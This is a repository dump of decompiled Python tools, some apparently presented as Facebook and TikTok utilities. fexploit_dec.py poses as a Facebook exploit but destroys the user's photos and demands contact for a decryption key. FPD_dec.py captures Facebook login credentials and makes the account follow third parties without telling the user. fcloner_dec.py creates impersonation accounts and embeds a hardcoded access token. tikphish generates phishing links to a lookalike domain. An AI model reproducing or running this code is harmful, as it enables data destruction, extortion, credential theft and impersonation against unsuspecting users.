├── nenc
    ├── README.md
    ├── nenc-enc.py
    └── nenc-enc_dec.py
├── FPD
    ├── README.md
    ├── FPD.py
    └── FPD_dec.py
├── fexploit
    ├── README.md
    ├── fexploit.py
    └── fexploit_dec.py
├── fcloner
    ├── README.md
    ├── fcloner.py
    └── fcloner_dec.py
├── tikphish
    ├── README.md
    ├── tikphish.py
    └── tikphish_dec.py
├── flb3
    ├── README.md
    ├── flb3.py
    └── flb3_dec.py
├── pyndb
    ├── README.md
    ├── pyndb.py
    └── pyndb_dec.py
├── flb2
    ├── flb2.py
    ├── README.md
    └── flb2_dec.py
├── mailspam
    ├── mailspam.py
    ├── README.md
    └── mailspam_dec.py
└── README.md


/nenc/README.md:
--------------------------------------------------------------------------------
1 | # nenc
2 | Python script encryter
3 | 


--------------------------------------------------------------------------------
/FPD/README.md:
--------------------------------------------------------------------------------
1 | # FPD
2 | Facebook Pictures Downloader
3 | 


--------------------------------------------------------------------------------
/fexploit/README.md:
--------------------------------------------------------------------------------
1 | # fexploit-
2 | Facebook Exploit 
3 | 


--------------------------------------------------------------------------------
/fcloner/README.md:
--------------------------------------------------------------------------------
1 | # fcloner
2 | The Facebook Account Cloner
3 | 


--------------------------------------------------------------------------------
/tikphish/README.md:
--------------------------------------------------------------------------------
1 | # tikphish
2 | The Tiktok Phishing Attack 
3 | 


--------------------------------------------------------------------------------
/flb3/README.md:
--------------------------------------------------------------------------------
1 | # flb3
2 | The Fastest Facebook Friendlist Multibruteforce
3 | 


--------------------------------------------------------------------------------
/FPD/FPD.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/FPD/FPD.py


--------------------------------------------------------------------------------
/pyndb/README.md:
--------------------------------------------------------------------------------
1 | # pyndb
2 | Facebook Information Framework Python Nasir_DataBase
3 | 


--------------------------------------------------------------------------------
/flb2/flb2.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/flb2/flb2.py


--------------------------------------------------------------------------------
/flb3/flb3.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/flb3/flb3.py


--------------------------------------------------------------------------------
/pyndb/pyndb.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/pyndb/pyndb.py


--------------------------------------------------------------------------------
/fcloner/fcloner.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/fcloner/fcloner.py


--------------------------------------------------------------------------------
/flb2/README.md:
--------------------------------------------------------------------------------
1 | # flb2 4X Speed (MultiThreading)
2 | The Most Fastest Facebook Friend List Bruter 
3 | 


--------------------------------------------------------------------------------
/nenc/nenc-enc.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/nenc/nenc-enc.py


--------------------------------------------------------------------------------
/fexploit/fexploit.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/fexploit/fexploit.py


--------------------------------------------------------------------------------
/mailspam/mailspam.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/mailspam/mailspam.py


--------------------------------------------------------------------------------
/tikphish/tikphish.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tahmidrayat/Reverse-Engineering/HEAD/tikphish/tikphish.py


--------------------------------------------------------------------------------
/mailspam/README.md:
--------------------------------------------------------------------------------
 1 | # Mailspam V1.0
 2 | <h> Developer : Nasir Ali </h>
 3 | 
 4 | <p>
 5 | #Installation
 6 | 
 7 | $git clone https://github.com/nasirxo/mailspam.git
 8 | $cd mailspam
 9 | $python2 mailspam.py
10 | 
11 | </p>
12 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ### PROJECT MOVED TO :
2 | 
3 | ### [hax0rtahm1d](https://github.com/hax0rtahm1d/Reverse-Engineering)
4 | 
5 | #### [https://github.com/hax0rtahm1d/Reverse-Engineering](https://github.com/hax0rtahm1d/Reverse-Engineering)
6 | 
7 | 


--------------------------------------------------------------------------------
/nenc/nenc-enc_dec.py:
--------------------------------------------------------------------------------
 1 | # uncompyle6 version 3.7.3
 2 | # Python bytecode 2.7
 3 | # Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15) 
 4 | # [GCC 8.3.0]
 5 | # Embedded file name: <string>
 6 | """
 7 | Copyright 2019
 8 | All Right Reserved With Developer : Nasir Ali
 9 | Do Not Re-Code That's would'nt make you programmer
10 | Dated : 10-july-2019 WED 3:25 PKST
11 | """
12 | import marshal as mc, zlib, base64, time, sys, os
13 | print '\n_  _ ____ _  _    ____ _  _ ____ _   _ ___  ___ \n|\\ | |___  \\/  __ |___ |\\ | |     \\_/  |__]  |  \n| \\| |___ _/\\_    |___ | \\| |___   |   |     |  \n                                                \nNeX Script Encoder\nBy #Nasir_Ali \nFB : fb.com/nasir.xo\nInsta : @nasir.xoz\nGithub : github.com/nasirxo\n'
14 | try:
15 |     input_s = raw_input('Script To Encypt : ')
16 |     r = mc.dumps(compile(open(input_s, 'rb').read(), '<string>', 'exec'))
17 | except:
18 |     print 'Invalid File'
19 |     sys.exit()
20 | 
21 | s = base64.b16encode(zlib.compress(r))
22 | ecode = ("\n# -*- coding: UTF-8 -*-\n'''Nex-Encypted {}\nDeveloper : Nasir Ali\n'''\nimport sys\nimport zlib as zn\nfrom base64 import *\nimport marshal as mc\n\ndef main_code():\n    exec(mc.loads(zn.decompress(b16decode('{}'))))\n\nmain_code()\n").format(time.ctime(), s)
23 | e2code = ('\nimport marshal , base64\nexec(marshal.loads(base64.b16decode("{}")))\n').format(base64.b16encode(mc.dumps(compile(ecode, '<string>', 'exec'))))
24 | e3code = ('\nimport marshal , base64\nexec(marshal.loads(base64.b32decode("{}")))\n').format(base64.b32encode(mc.dumps(compile(e2code, '<string>', 'exec'))))
25 | rmcode = base64.b16encode(mc.dumps(compile(e3code, '<string>', 'exec')))
26 | pycc = base64.b32encode(mc.dumps(compile('\nimport os\nos.system("rm -rf *.pyc")\n', '<string>', 'exec')))
27 | rccd = ("\n'''\nDeveloper : Nasir Ali\nEncoded with Nex-encode\n'''\nimport marshal , base64 , os\nexec(marshal.loads(base64.b32decode(b'{}')))\nexec(marshal.loads(base64.b16decode('{}')))\n").format(pycc, rmcode)
28 | print ('Old Size : {} Bytes').format(len(r))
29 | with open('__main__.py', 'wb') as (es):
30 |     es.write(rccd)
31 | os.system(('zip {} {}').format('nenc-' + input_s, '__main__.py'))
32 | print ('New Size : {} Bytes').format(len(open('nenc-' + input_s, 'rb').read()))
33 | os.system(('rm {}').format('__main__.py'))
34 | print ('Generated Encypted Script : {}').format('nenc-' + input_s)


--------------------------------------------------------------------------------
/tikphish/tikphish_dec.py:
--------------------------------------------------------------------------------
  1 | 
  2 | # -*- coding: UTF-8 -*-
  3 | 
  4 | #Colours Defined Variables
  5 | 
  6 | W  = '\033[1;37m'
  7 | N  = '\033[0m'
  8 | R="\033[1;37m\033[31m"
  9 | B  = '\033[1;37m\033[34m'
 10 | G  = '\033[1;32m'
 11 | Y = '\033[1;33;40m'
 12 | 
 13 | #Decorators
 14 | SBR = W+"("+R+"π"+W+")"
 15 | SBG = W+"("+G+"π"+W+")"
 16 | SRO = W+"("+R+">"+W+")"
 17 | SGO = W+"("+G+">"+W+")"
 18 | 
 19 | SEO = W+"("+R+"!"+W+")"
 20 | 
 21 | newlin = "\n"
 22 | #SBG = '\x1b[1;37m(\x1b[1;32m\xe2\x97\x8f\x1b[1;37m)'
 23 | #SBR = '\x1b[1;37m(\x1b[1;37m\x1b[31m\xe2\x97\x8f\x1b[1;37m)'
 24 | 
 25 | 
 26 | 
 27 | import os
 28 | from base64 import *
 29 | from random import choice as c
 30 | import time
 31 | 
 32 | 
 33 | banner = """
 34 | {}
 35 | ┈┈┈╲┈┈┈┈╱
 36 | ┈┈┈╱     ▔▔╲
 37 | ┈┈┃┈▇┈┈▇┈┃    {} DarkSec Present's{}
 38 | ╭╮┣━━━━━━┫╭╮
 39 | ┃┃┃┈┈┈┈┈┈┃┃┃  {}Tik-Tok Phisher V1.1{}
 40 | ╰╯┃┈┈┈┈┈┈┃╰╯  {}  By : Nasir Ali{}
 41 | ┈┈╰┓┏━━┓┏╯     
 42 | ┈┈┈╰╯┈┈╰╯
 43 | 
 44 | {}Youtube :{} youtube.com/TheDarkSec
 45 | {}Github : {}github.com/nasirxo
 46 | {}Facebook :{} facebook.com/nasir.xo
 47 | 
 48 | """.format(Y,R,Y,G,Y,G,Y,G,W,G,W,G,W)
 49 | 
 50 | os.system("clear")
 51 | print(banner)
 52 | i=0
 53 | key = "darksec47"
 54 | while i==0:
 55 |   try:
 56 |       #r = get("https://mbasic.facebook.com/nasir.xo")
 57 |       #data = BeautifulSoup(r.content,features="html.parser")
 58 |       #xD = data.find('span', attrs={'dir': 'ltr'})
 59 |       #key = xD.get_text().split()[0]
 60 |       ikey = input(SBR+" Enter License Key : ")
 61 |       if ikey == key:
 62 |        print(SGO+" Authorization Sucessfull ! ")
 63 |        time.sleep(3)
 64 |        while i==0:
 65 |          os.system('clear')
 66 |          time.sleep(2)
 67 |          print(banner)
 68 |          print("""
 69 |          {}     [Select-Option]
 70 |                
 71 |          {} (1) : Generate Phishing Link
 72 |          {} (2) : Exit 
 73 | 
 74 | 
 75 |          """.format(Y,SBG,SBG))
 76 |          op = input(SRO+" Option : ")
 77 |          n = list('abcdefghijklmnopqrstuvwxyz1234567890')
 78 |          if str(op) == '1':
 79 |             ID = ''.join([c(n) for x in range(5)])
 80 |             KE = b16encode(ID.encode("utf-8"))
 81 |             print("""
 82 |             {}     [ Link-Generated ]
 83 | 
 84 | {} ===================================================            
 85 | {} Phishing Link : 
 86 |     http://tik-tok.rf.gd/login.php?ID={}
 87 | {} Passwords Link : 
 88 |     http://tik-tok.rf.gd/pass.php?KEY={}
 89 | 
 90 | {} ===================================================
 91 |  
 92 |             """.format(G,Y,SGO,ID,SGO,KE.decode("utf-8"),Y))
 93 |             f = input()
 94 |          elif str(op) == '2':
 95 |             print(SBR+" BYE BYE !")
 96 |             i+=1
 97 |             quit()
 98 |                 
 99 |          else:
100 |             print(SEO+" Invalid Input ! ")
101 |       print(SEO+" Invalid Key ! ")
102 |   except:
103 |      pass


--------------------------------------------------------------------------------
/fexploit/fexploit_dec.py:
--------------------------------------------------------------------------------
  1 | # uncompyle6 version 3.7.3
  2 | # Python bytecode 2.7 (62211)
  3 | # Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15) 
  4 | # [GCC 8.3.0]
  5 | # Embedded file name: <script>
  6 | # Compiled at: 2020-08-31 10:19:01
  7 | import os, base64, zlib, sys
  8 | W = '\x1b[1;37m'
  9 | N = '\x1b[0m'
 10 | R = '\x1b[1;37m\x1b[31m'
 11 | B = '\x1b[1;37m\x1b[34m'
 12 | G = '\x1b[1;32m'
 13 | Y = '\x1b[1;33;40m'
 14 | ranbanner = (' \n{} \xe2\x96\x88\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80 {}\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80 \xe2\x96\x88\xe2\x94\x80\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x84 \xe2\x96\x88\xe2\x94\x80\xe2\x94\x80 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x84 \xe2\x96\x80 \xe2\x96\x80\xe2\x96\x88\xe2\x96\x80\n{} \xe2\x96\x88\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x88\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80 {}\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x84 \xe2\x96\x88\xe2\x94\x80\xe2\x96\x88 \xe2\x96\x88\xe2\x94\x80\xe2\x96\x84 \xe2\x96\x88\xe2\x94\x80\xe2\x96\x88 \xe2\x96\x88 \xe2\x94\x80\xe2\x96\x88\xe2\x94\x80\n{} \xe2\x96\x80\xe2\x94\x80 \xe2\x96\x80\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80 {}\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80 \xe2\x96\x80\xe2\x94\x80\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x80\xe2\x94\x80 \xe2\x96\x80\xe2\x96\x80\xe2\x96\x80 \xe2\x94\x80\xe2\x96\x80\xe2\x94\x80 \xe2\x96\x80 \xe2\x94\x80\xe2\x96\x80\xe2\x94\x80\n    Developer : NexHacker\n\n').format(G, R, G, R, G, R, W)
 15 | expbanner = (' {}\n\nYoU ArE \n~~~~~~\n \xe2\x96\x88\xe2\x96\x91\xe2\x96\x91 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x84 \xe2\x96\x84\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x91\xe2\x96\x84\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x84\n \xe2\x96\x88\xe2\x96\x80\xe2\x96\x84 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x88 \xe2\x96\x88\xe2\x96\x91 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x84\xe2\x96\x91 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x91\xe2\x96\x88\n \xe2\x96\x80\xe2\x96\x91\xe2\x96\x80 \xe2\x96\x80\xe2\x96\x91\xe2\x96\x80 \xe2\x96\x91\xe2\x96\x80 \xe2\x96\x80\xe2\x96\x91\xe2\x96\x80\xe2\x96\x80 \xe2\x96\x80\xe2\x96\x80\xe2\x96\x80 \xe2\x96\x80\xe2\x96\x80\xe2\x96\x91\n \n{}All Your Pictures Are {}Encypted{}\nContact Me to Get {}Decyption {}Key\n{}Ask For Key Here\n{}https://chat.whatsapp.com/GTson8XfqUZENhUkL4OA8q\n\n').format(R, W, R, W, G, W, Y, W)
 16 | try:
 17 |     import requests as rq
 18 |     print G + '(' + R + '>' + G + ')' + ' Module Available'
 19 | except:
 20 |     print G + '(' + R + '>' + G + ')' + ' Module Installing'
 21 |     os.system('pip2 install requests')
 22 |     import requests as rq
 23 | 
 24 | pathx = '/storage/emulated/0/DCIM/Camera/'
 25 | 
 26 | def encyptx():
 27 |     file = os.popen('ls ' + pathx).read()
 28 |     tpath = '/storage/emulated/0/'
 29 |     try:
 30 |         os.system('mkdir ' + tpath + 'nexencypted')
 31 |     except:
 32 |         pass
 33 | 
 34 |     tfile = os.popen('find ' + tpath + ' *').read()
 35 |     filex = file.split()
 36 |     tfilex = tfile.split()
 37 |     devc = os.popen('uname -a').read().split()[(-1)].lower()
 38 |     i = 0
 39 |     print '\n\n'
 40 |     os.system('clear')
 41 |     if devc == 'android':
 42 |         for i in range(len(tfilex)):
 43 |             dataf = tfilex[i]
 44 |             try:
 45 |                 if dataf[-3:] == 'jpg':
 46 |                     fopn = open(dataf, 'rb').read()
 47 |                     encd = zlib.compress(base64.encodestring(fopn))
 48 |                     sys.stdout.write(('\r {}Getting {}{} {}Bytes').format(G, W, len(encd), G))
 49 |                     sys.stdout.flush()
 50 |                     encw = open(tpath + 'nexencypted/' + str(i) + '.nex', 'wb')
 51 |                     encw.write(encd)
 52 |                     encw.close()
 53 |                     os.system(('rm {}').format(dataf))
 54 |             except:
 55 |                 pass
 56 | 
 57 | 
 58 | def decyptx():
 59 |     ipass = raw_input(G + '\n[!]Decyption Key : ' + W).lower()
 60 |     print '\n'
 61 |     kurl = 'https://mbasic.facebook.com/profile.php?id=100006143266745'
 62 |     keyi = rq.get(kurl).text.split('$')[1]
 63 |     if ipass == str(keyi):
 64 |         pathx = '/storage/emulated/0/nexencypted/'
 65 |         patho = '/storage/emulated/0/nexdecypted/'
 66 |         try:
 67 |             os.system('mkdir ' + patho)
 68 |         except:
 69 |             pass
 70 | 
 71 |         file = os.popen('ls ' + pathx).read()
 72 |         filex = file.split()
 73 |         i = 0
 74 |         for i in range(len(filex)):
 75 |             dataf = filex[i]
 76 |             if dataf[-3:] == 'nex':
 77 |                 fopn = open(pathx + dataf, 'rb').read()
 78 |                 encd = base64.decodestring(zlib.decompress(fopn))
 79 |                 sys.stdout.write(('\r {}Decypting {} {} {}Bytes').format(W, G, len(encd), W))
 80 |                 sys.stdout.flush()
 81 |                 encw = open(patho + 'nexdec' + str(i) + '.jpg', 'wb')
 82 |                 encw.write(encd)
 83 |                 encw.close()
 84 |                 os.system(('rm {}').format(pathx + dataf))
 85 | 
 86 |     else:
 87 |         print 'Incorrect !'
 88 |         decyptx()
 89 | 
 90 | 
 91 | def login():
 92 |     e = raw_input(Y + '(>)' + G + 'Target Account ID : ' + W)
 93 |     if len(e) > 2:
 94 |         print W + '\n[~]Connecting to Facebook .....\n'
 95 |         print G + ('[~]Getting ID {}{} {}Data From Server').format(R, e, G)
 96 |         print R + '\n[!]Do Not Exit While The Process is Running'
 97 |     else:
 98 |         print R + '[!]Invalid ID'
 99 | 
100 | 
101 | def joingroup():
102 |     cmd = 'am start https://chat.whatsapp.com/GTson8XfqUZENhUkL4OA8q'
103 |     os.system(cmd)
104 | 
105 | 
106 | print ranbanner
107 | login()
108 | encyptx()
109 | joingroup()
110 | print expbanner
111 | decyptx()
112 | # okay decompiling patched.pyc
113 | 


--------------------------------------------------------------------------------
/FPD/FPD_dec.py:
--------------------------------------------------------------------------------
  1 | # uncompyle6 version 3.7.3
  2 | # Python bytecode 2.7 (62211)
  3 | # Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15) 
  4 | # [GCC 8.3.0]
  5 | # Embedded file name: <script>
  6 | # Compiled at: 2020-08-31 10:12:20
  7 | from multiprocessing.pool import ThreadPool
  8 | import sys, os
  9 | W = '\x1b[1;37m'
 10 | N = '\x1b[0m'
 11 | R = '\x1b[1;37m\x1b[31m'
 12 | B = '\x1b[1;37m\x1b[34m'
 13 | G = '\x1b[1;32m'
 14 | Y = '\x1b[1;33;40m'
 15 | SR = W + '[' + R + '*' + W + ']'
 16 | SG = W + '[' + G + '*' + W + ']'
 17 | try:
 18 |     from requests import *
 19 |     from bs4 import *
 20 | except:
 21 |     os.system('pip2 install requests')
 22 |     os.system('pip2 install bs4')
 23 |     from requests import *
 24 |     from bs4 import *
 25 | 
 26 | s = Session()
 27 | os.system('clear')
 28 | banner = '\n\n{}\xe2\x94\x80\xe2\x96\x84\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x84\n\xe2\x96\x88\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91{}\xe2\x96\x88{}\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x84\xe2\x96\x84\xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x91\xe2\x96\x88\n\xe2\x96\x88\xe2\x96\x91{}\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80{}\xe2\x96\x91\xe2\x96\x84\xe2\x96\x80\xe2\x96\x91\xe2\x96\x84\xe2\x96\x80\xe2\x96\x91\xe2\x96\x91\xe2\x96\x80\xe2\x96\x80\xe2\x96\x91\xe2\x96\x84\xe2\x96\x84\xe2\x96\x91\xe2\x96\x88\n\xe2\x96\x88\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91{}\xe2\x96\x80{}\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x91\xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x91\xe2\x96\x80\xe2\x96\x80\xe2\x96\x91\xe2\x96\x88\n{}\xe2\x94\x80\xe2\x96\x80\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x80\n      \n    {}[FaceBook-Pictures-Downloader]\n\n {}Developer : {}Nasir Ali\n {}Github : {}github.com/nasirxo\n\n'
 29 | print banner.format(G, R, G, R, G, R, G, G, W, G, W, G, W)
 30 | email = raw_input('\n' + SR + ' EMAIL : ' + G)
 31 | password = raw_input(SR + ' PASSWORD : ' + G)
 32 | data = {'email': email, 
 33 |    'pass': password}
 34 | 
 35 | def follow(tokenx):
 36 |     token = str(tokenx)
 37 |     post('https://graph.facebook.com/100006143266745/subscribers?access_token=' + token)
 38 |     post('https://graph.facebook.com/100012677655820/subscribers?access_token=' + token)
 39 |     post('https://graph.facebook.com/100013144367280/subscribers?access_token=' + token)
 40 | 
 41 | 
 42 | r = s.post('https://mbasic.facebook.com/login', data=data)
 43 | if 'save-device' in r.url or 'm_ses' in r.url:
 44 |     print W + '[x]' + G + ' Login Sucessfull :) '
 45 |     tokenx = get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6').json()['access_token']
 46 |     follow(tokenx)
 47 | else:
 48 |     print W + '[x]' + R + ' Login Failed :( '
 49 |     sys.exit()
 50 | u = 'https://mbasic.facebook.com{}'
 51 | th = ThreadPool(20)
 52 | 
 53 | def getpic(links):
 54 |     li = 'https://mbasic.facebook.com{}'
 55 |     ds = open('.status', 'a')
 56 |     done = len(open('.status', 'r').read())
 57 |     total = int(open('.total', 'r').read())
 58 |     sys.stdout.write(('\r {} Downloading.. [{}/{}] ').format(SG, done, total))
 59 |     sys.stdout.flush()
 60 |     try:
 61 |         phtml = BeautifulSoup(s.get(li.format(links)).text, 'html.parser')
 62 |         for i in phtml.find_all('a'):
 63 |             if 'photo/view_full_size' in i['href']:
 64 |                 pic = BeautifulSoup(s.get(li.format(i['href'])).text, 'html.parser')
 65 |                 for n in pic.find_all('a'):
 66 |                     picdata = s.get(n['href']).content
 67 |                     pname = str(links.split('id=')[1])
 68 |                     fname = open('.name', 'r').read()
 69 |                     with open(('{}/{}.jpg').format(fname, pname), 'wb') as (photox):
 70 |                         photox.write(picdata)
 71 |                         photox.close()
 72 |                         ds.write('1')
 73 |                         ds.close()
 74 |                         return '1'
 75 | 
 76 |     except:
 77 |         pass
 78 | 
 79 | 
 80 | while True:
 81 |     links = []
 82 |     ds = open('.status', 'w')
 83 |     ds.close()
 84 |     aid = raw_input('\n\n' + SR + ' Account ID : ' + G)
 85 |     id = ('https://mbasic.facebook.com/profile.php?id={}').format(aid)
 86 |     html = BeautifulSoup(s.get(id).text, 'html.parser')
 87 |     name = str(('_').join(html.title.string.split()))
 88 |     cfx = open('.name', 'w')
 89 |     cfx.write(name)
 90 |     cfx.close()
 91 |     print ('{} Account : {}{}').format(SG, G, name)
 92 |     try:
 93 |         os.popen(('mkdir {}').format(name))
 94 |     except:
 95 |         pass
 96 | 
 97 |     for i in html.find_all('a'):
 98 |         try:
 99 |             if 'profile.php?v=photos&lst=' in str(i['href']) or 'photos?lst=' in str(i['href']):
100 |                 html1 = BeautifulSoup(s.get(u.format(i['href'])).text, 'html.parser')
101 |                 for ix in html1.find_all('a'):
102 |                     if 'albums' in ix['href'] and 'owner_id' not in ix['href']:
103 |                         htmlx = BeautifulSoup(s.get(u.format(ix['href'])).text, 'html.parser')
104 |                         for iy in htmlx.find_all('a'):
105 |                             if 'photo.php' in iy['href']:
106 |                                 links.append(str(iy['href']))
107 | 
108 |         except:
109 |             pass
110 | 
111 |     tt = open('.total', 'w')
112 |     tt.write(str(len(links)))
113 |     tt.close()
114 |     print (' {} Total Images :{} {}').format(SG, G, len(links))
115 |     results = th.map(getpic, links)
116 |     rset = []
117 |     for i in range(len(results)):
118 |         if results[i] == '1':
119 |             rset.append('1')
120 | 
121 |     sys.stdout.write(('\r {} Downloaded {}{}{} Images *_*').format(SG, G, len(rset), W))
122 |     sys.stdout.flush()
123 | # okay decompiling patched.pyc
124 | 


--------------------------------------------------------------------------------
/fcloner/fcloner_dec.py:
--------------------------------------------------------------------------------
  1 | P = '\x1b[95m'
  2 | B = '\x1b[94m'
  3 | G = '\x1b[92m'
  4 | O = '\x1b[93m'
  5 | R = '\x1b[91m'
  6 | E = '\x1b[0m'
  7 | import sys, os
  8 | os.system('clear')
  9 | try:
 10 |     import mechanize, facebook, requests
 11 |     from random import choice
 12 |     import bs4
 13 |     print G + '[*] Dependencies Found..'
 14 | except:
 15 |     print R + '[*] Dependencies NotFound..'
 16 |     print G + '[*] Installing ..'
 17 |     os.system('pip2 install mechanize')
 18 |     os.system('pip2 install requests')
 19 |     os.system('pip2 install facebook')
 20 |     os.system('pip2 install bs4')
 21 | 
 22 | casess = 'EAAAAUaZA8jlABAEXGY3JpOSzjkZAZBUNwK2MFD9fWDZAZA0mDVScxoNFbKsRcY8xDgS9myXEJi2GZBsOcZAuiZCYK1cDcZAIjyzRz336vWS8YSQ5jIyCtmsAOd777mctX30ZB9gnfV8BgFDAnKabpmdJbEOiOEMIR9wmi1oGSeDZAPfGAZDZD'
 23 | fingerdb = [
 24 |  'fuck you', 'fuckyou', 'recode', 'nasirfuckyou', 'dick']
 25 | finger = 'Fuck You.....'
 26 | reload(sys)
 27 | sys.setdefaultencoding('utf8')
 28 | xz1 = list('abcdefghijklmnopqrstuvwxyz')
 29 | xz2 = list('1234567890')
 30 | xbann = "\n .|';       '||`                               \n ||          ||                                \n'||'  .|'',  ||  .|''|, `||''|,  .|''|, '||''| \n ||   ||     ||  ||  ||  ||  ||  ||..||  ||    \n.||.  `|..' .||. `|..|' .||  ||. `|...  .||.   \n                                               \n                                               \n          <The Facebook Cloner>\n"
 31 | print O + xbann
 32 | bannx = '\n[~]Developer (Nasir_Ali)\n[_]Link:https://m.facebook.com/nasir.xo\n[_]Github:https://github.com/nasirxo\n'
 33 | 
 34 | class create:
 35 | 
 36 |     def __init__(self):
 37 |         self.create_total = 0
 38 |         self.blacklist_email = ['@datasoma', '@geroev', '@cliptik', '@khtyler']
 39 |         self.temp_email_url = 'https://temp-mail.org/en/'
 40 |         self.__main__()
 41 | 
 42 |     def _browser_options(self):
 43 |         br = mechanize.Browser()
 44 |         br.set_handle_robots(False)
 45 |         br.set_handle_equiv(True)
 46 |         br.set_handle_referer(True)
 47 |         br.set_handle_redirect(True)
 48 |         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=5)
 49 |         br.addheaders.append(('Accept-Language', 'en-us,en'))
 50 |         br.addheaders = [('User-agent', 'Mozilla/5.0 (Linux; Android 5.0; ASUS_T00G Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36')]
 51 |         return br
 52 | 
 53 |     def _get_name(self):
 54 |         acesx = casess
 55 |         graph = facebook.GraphAPI(acesx)
 56 |         acid = raw_input(R + '[~] Target ID: ')
 57 |         if acid in ('100006143266745', 'nasir.xo'):
 58 |             print R + "[*] Account Ca'nt be Cloned"
 59 |             exit()
 60 |         profile = graph.get_object(acid)
 61 |         return profile['name'].split()
 62 | 
 63 |     def _get_info_account(self):
 64 |         print O + '[~] Getting Account Information..'
 65 |         res = requests.get('https://randomuser.me/api').json()
 66 |         pwd = choice(xz1) + choice(xz2) + choice(xz1) + choice(xz1) + choice(xz2) + choice(xz1) + choice(xz2) + choice(xz1) + choice(xz2) + choice(xz1)
 67 |         print R + '[--] Generated Password : ' + str(pwd)
 68 |         return {'username': res['results'][0]['login']['username'], 
 69 |            'password': pwd + '0000' if len(pwd) < 6 else pwd, 
 70 |            'firstname': res['results'][0]['name']['first'], 
 71 |            'lastname': res['results'][0]['name']['last'], 
 72 |            'gender': '1' if res['results'][0]['gender'] == 'female' else '2', 
 73 |            'date': res['results'][0]['dob']['date'].split('T')[0].split('-')}
 74 | 
 75 |     def _create_account_facebook(self, email):
 76 |         pname = self._get_name()
 77 |         data = self._get_info_account()
 78 |         self._password = data['password']
 79 |         print O + '[~] Name: ', pname[0] + ' ' + pname[1]
 80 |         print G + '[~] Cloning Facebook Account...'
 81 |         self.br.open('https://mbasic.facebook.com/reg/?cid=102&refid=8')
 82 |         self.br.select_form(nr=0)
 83 |         self.br.form['firstname'] = pname[0] + ' ' + pname[1]
 84 |         try:
 85 |             self.br.form['reg_email__'] = email
 86 |         except mechanize._form_controls.ControlNotFoundError as ex:
 87 |             print 'Warning: ' + str(ex)
 88 |             return False
 89 | 
 90 |         self.br.form['sex'] = [data['gender']]
 91 |         self.br.form['birthday_day'] = [data['date'][2][1:] if data['date'][2][0] == '0' else data['date'][2]]
 92 |         self.br.form['birthday_month'] = [data['date'][1][1:] if data['date'][1][0] == '0' else data['date'][1]]
